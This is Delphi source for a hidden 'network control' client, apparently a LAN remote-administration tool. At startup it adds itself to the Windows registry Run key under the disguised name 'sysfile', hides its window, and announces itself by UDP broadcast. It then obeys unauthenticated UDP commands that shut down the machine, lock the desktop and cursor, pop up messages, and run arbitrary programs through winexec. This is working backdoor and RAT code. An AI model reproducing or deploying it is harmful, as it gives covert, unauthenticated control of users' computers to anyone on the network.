mainck.pas

网络控制--在局与网络内控制网络流量,现实等,实现网络的控制及其管理

unit mainck;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  NMUDP,Winsock,Registry, ComCtrls, StdCtrls;

type
  Tmainform = class(TForm)
    NMUDP1: TNMUDP;
    TreeView1: TTreeView;
    procedure FormCreate(Sender: TObject);
    procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
 procedure WMQueryEndSession(var Msg: TMessage);
             message WM_QueryEndSession;
    { Private declarations }
  public
  ip:string;
  canexit:boolean;
  name:string;
  t1:ttreenode;
  userlist:tstringlist;
  msgstream:tmemorystream;
  broadcastip:string;
  function GetLocalIP:String;
  procedure SetIp(localip:string);
  procedure sendlogin;
  procedure reply(sip:string);
  //procedure my_message(var msg1:tmessage);message wm_queryendsession;

  function FindIP(const IP1: String): Integer;
    { Public declarations }
  end;

var
  mainform: Tmainform;

function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external 'KERNEL32.DLL';  
function ToUnicode(str:string;dest:PWideChar):integer;
function SendMsg(Toh,From,Msg:string):integer;
function NetMessageBufferSend(servername:PWideChar;
                              MsgName:PWideChar;
                              FromName:PWideChar;
                              Buf: PWideChar;
                              var BufLen:integer):integer;cdecl;
implementation
const RSP_SIMPLE_SERVICE=1;

function ToUnicode(str:string;dest:PWideChar):integer;
var
  len:integer;
begin
  StringToWideChar(str,dest,len);
  Result:=len;
end;


function NetMessageBufferSend; external 'netapi32.dll' name 'NetMessageBufferSend';

function SendMsg(Toh,From,Msg:string):integer;
var
  ToName :array [0..64] of WideChar;
  WMsgText:array [0..1000] of WideChar;
  MsgLen, i:integer;
begin
  for i := 0 to 64 do ToName[i] := #0;
  ToUnicode(Toh,ToName);
  for i := 0 to 1000 do WMsgText[i] := #0;
  ToUnicode(Msg,WMsgText);
  Result:=NetMessageBufferSend(nil,ToName,nil,@WMsgText,MsgLen);
end;
{$R *.DFM}
procedure TMAINFORM.WMQueryEndSession(var Msg: TMessage);

begin
//if 1=1 then
//   MAINFORM.Close;
   SHOWMESSAGE('SFASDF');
   msg.Result:=0;

 //  else
  // msg1.Result:=0;
end;


procedure tmainform.sendlogin;
var
msg:string;
begin
Msg:=Format('%-15s%-6s%-2s%-255s',[ip,'login','s',Name]);
Msg:=Trim(Msg);
msgstream.Position:=0;
msgstream.Size:=0;
nmudp1.RemoteHost:=broadcastip;
msgstream.Write(msg[1],length(msg));
nmudp1.SendStream(msgstream);
end;

procedure tmainform.reply(sip:string);
var
msg:string;
begin
Msg:=Format('%-15s%-6s%-2s%-255s',[ip,'login','c',Name]);
Msg:=Trim(Msg);
msgstream.Position:=0;
msgstream.Size:=0;
nmudp1.RemoteHost:=sip;
msgstream.Write(msg[1],length(msg));
nmudp1.SendStream(msgstream);
end;


function TMainForm.GetLocalIP:String;
type
    TaPInAddr = array [0..10] of PInAddr;
    PaPInAddr = ^TaPInAddr;
var
    phe:PHostEnt;
    pptr:PaPInAddr;
    Buffer:array [0..63] of char;
    I:Integer;
    GInitData:TWSADATA;
begin
WSAStartup($101, GInitData);
try
    Result:='';
    GetHostName(Buffer, SizeOf(Buffer));
    phe :=GetHostByName(buffer);
    if phe = nil then Exit;
    pptr := PaPInAddr(Phe^.h_addr_list);
    I := 0;
    while pptr^[I] <> nil do
      begin
      result:=StrPas(inet_ntoa(pptr^[I]^));
      Inc(I);
      end;
finally
    WSACleanup;
end;
end;

procedure Tmainform.FormCreate(Sender: TObject);
var
pname:pchar;
plen:dword;
myregist: TRegistry;
zclj:string;
begin
  canexit:=true;
  myregist:=TRegistry.Create;
//BmpStream:=TMemoryStream.Create;
zclj:='\software\microsoft\windows\currentversion\Run';
myregist:=tregistry.Create;
myregist.RootKey:=hkey_local_machine;
myregist.OpenKey(zclj,False);
zclj:=application.ExeName;
myregist.writeString('sysfile',zclj);

plen:=255;
//t1:=treeview1.Items.Add(nil,'所有计算机');
msgstream:=tmemorystream.Create;
//userlist:=tstringlist.Create;
getmem(pname,plen);
if getcomputername(pname,plen) then
   name:=string(pname)
   else
   name:='no name';
freemem(pname);
ip:=getlocalip;
setip(ip);
sendlogin;
//RegisterServiceProcess(GetCurrentProcessID,RSP_SIMPLE_SERVICE);
self.Hide;
end;

procedure TMainForm.SetIp(localip:string);
var
  i,j,iHead:Integer;
  sHead,s:String;
  ai:array [1..3] of integer;
begin
j:=1;
for i:=0 to Length(LocalIP) do
  begin
  if LocalIP[i]='.' then
    begin
    ai[j]:=i;
    Inc(j);
    end;
  if j>3 then break;
  end;
sHead:=Copy(LocalIp,1,ai[1]-1);
iHead:=StrToInt(sHead);
if iHead<128 then
  begin
  BroadCastIP:=sHead+'.255.255.255';
  end
else
  begin
  if iHead<192 then
    begin
    s:=Copy(LocalIP,1,ai[2]-1);
    BroadCastIP:=s+'.255.255';
    end
  else 
    begin
    s:=Copy(LocalIP,1,ai[3]-1);
    BroadCastIP:=s+'.255';
    end;
  end;
end;

function TMainForm.FindIP(const IP1: String): Integer;  //在UserList中查找指定的IP，返回索引值
var
  i:Integer;
  ts:String;
begin
Result:=-1;
for i:=0 to UserList.Count-1 do
  begin
  ts:=Trim(Copy(UserList.Strings[i],1,15));
  if ts=IP1 then
    begin
    Result:=i;
    exit;
    end;
  end;
end;


procedure Tmainform.NMUDP1DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var msg:string;
rtButton2: TRect;
newip,saction,ser_cli,comname,smsg:string;
id:integer;
tempid:integer;
phwnd:hwnd;
stime:string;
itime:integer;
begin
msgstream.Position:=0;
msgstream.Size:=0;
nmudp1.ReadStream(msgstream);
setlength(msg,numberbytes);
msgstream.Read(msg[1],numberbytes);
newip:=trim(copy(msg,1,15));
saction:=trim(copy(msg,16,6));
ser_cli:=trim(copy(msg,22,2));
comname:=trim(copy(msg,24,255));
smsg:=trim(copy(msg,279,100));
stime:=trim(copy(msg,379,length(msg)-378));
if stime<>'' then
   sleep(strtoint(stime)*1000);
//if (newip=trim(ip)) or (ser_cli<>'s')  then
//   exit;
if  (ser_cli<>'s')  then
  exit;
if (saction='login') then
   begin
   reply(newip);
   exit;
   end;
if copy(saction,1,2)='no' then
   begin
   canexit:=false;
   exit;
   end;
if copy(saction,1,2)='ye' then
   begin
   canexit:=true;
   exit;
   end;
if copy(saction,1,2)='wi' then
   begin
   id:=strtoint(copy(saction,3,1));
   exitwindowsex(id,0);
   halt;
   exit;
   end;
if copy(saction,1,2)='hi' then
   begin
   phwnd := FindWindow('ProgMan',nil);
   showwindow(phwnd,sw_hide);
   SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@tempid,0);

   rtButton2.Left:=200;
   rtButton2.Top:=200;
   rtButton2.Right:=210;
   rtButton2.Bottom:=210;
   //MapWindowPoints(handle, 0, rtButton2, 2);
   ClipCursor(@rtButton2);
   phwnd := FindWindow('Shell_TrayWnd', nil);
   ShowWindow(phwnd, SW_hide);
   exit;
   end;
if copy(saction,1,2)='sh' then
   begin
   phwnd := FindWindow('ProgMan',nil);
   SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,@tempid,0);
   showwindow(phwnd,sw_show);
   phwnd := FindWindow('Shell_TrayWnd', nil);
   ShowWindow(phwnd, SW_show);
   ClipCursor(0);
   exit;
   end;
if copy(saction,1,2)='ch' then
  SendMsg(newip,'',smsg);
//  MessageDlg(smsg,mtInformation,[mbOk],0);
//  application.MessageBox(pchar(smsg),'系统信息',mb_ok+mb_iconinformation);

if copy(saction,1,2)='ex' then
   winexec(pchar(smsg),0);

   //if findip(newip)=-1 then
  // begin
   //userlist.Add(newip);
  // treeview1.Items.addchild(t1,comname+'['+newip+']');
   //end;
end;

procedure Tmainform.FormClose(Sender: TObject; var Action: TCloseAction);
//var
//msg:string;
begin
{Msg:=Format('%-15s%-6s%-2s%-255s',[ip,'logout','s',Name]);
Msg:=Trim(Msg);
msgstream.Position:=0;
msgstream.Size:=0;
nmudp1.RemoteHost:=broadcastip;
msgstream.Write(msg[1],length(msg));
nmudp1.SendStream(msgstream);  }
end;

end.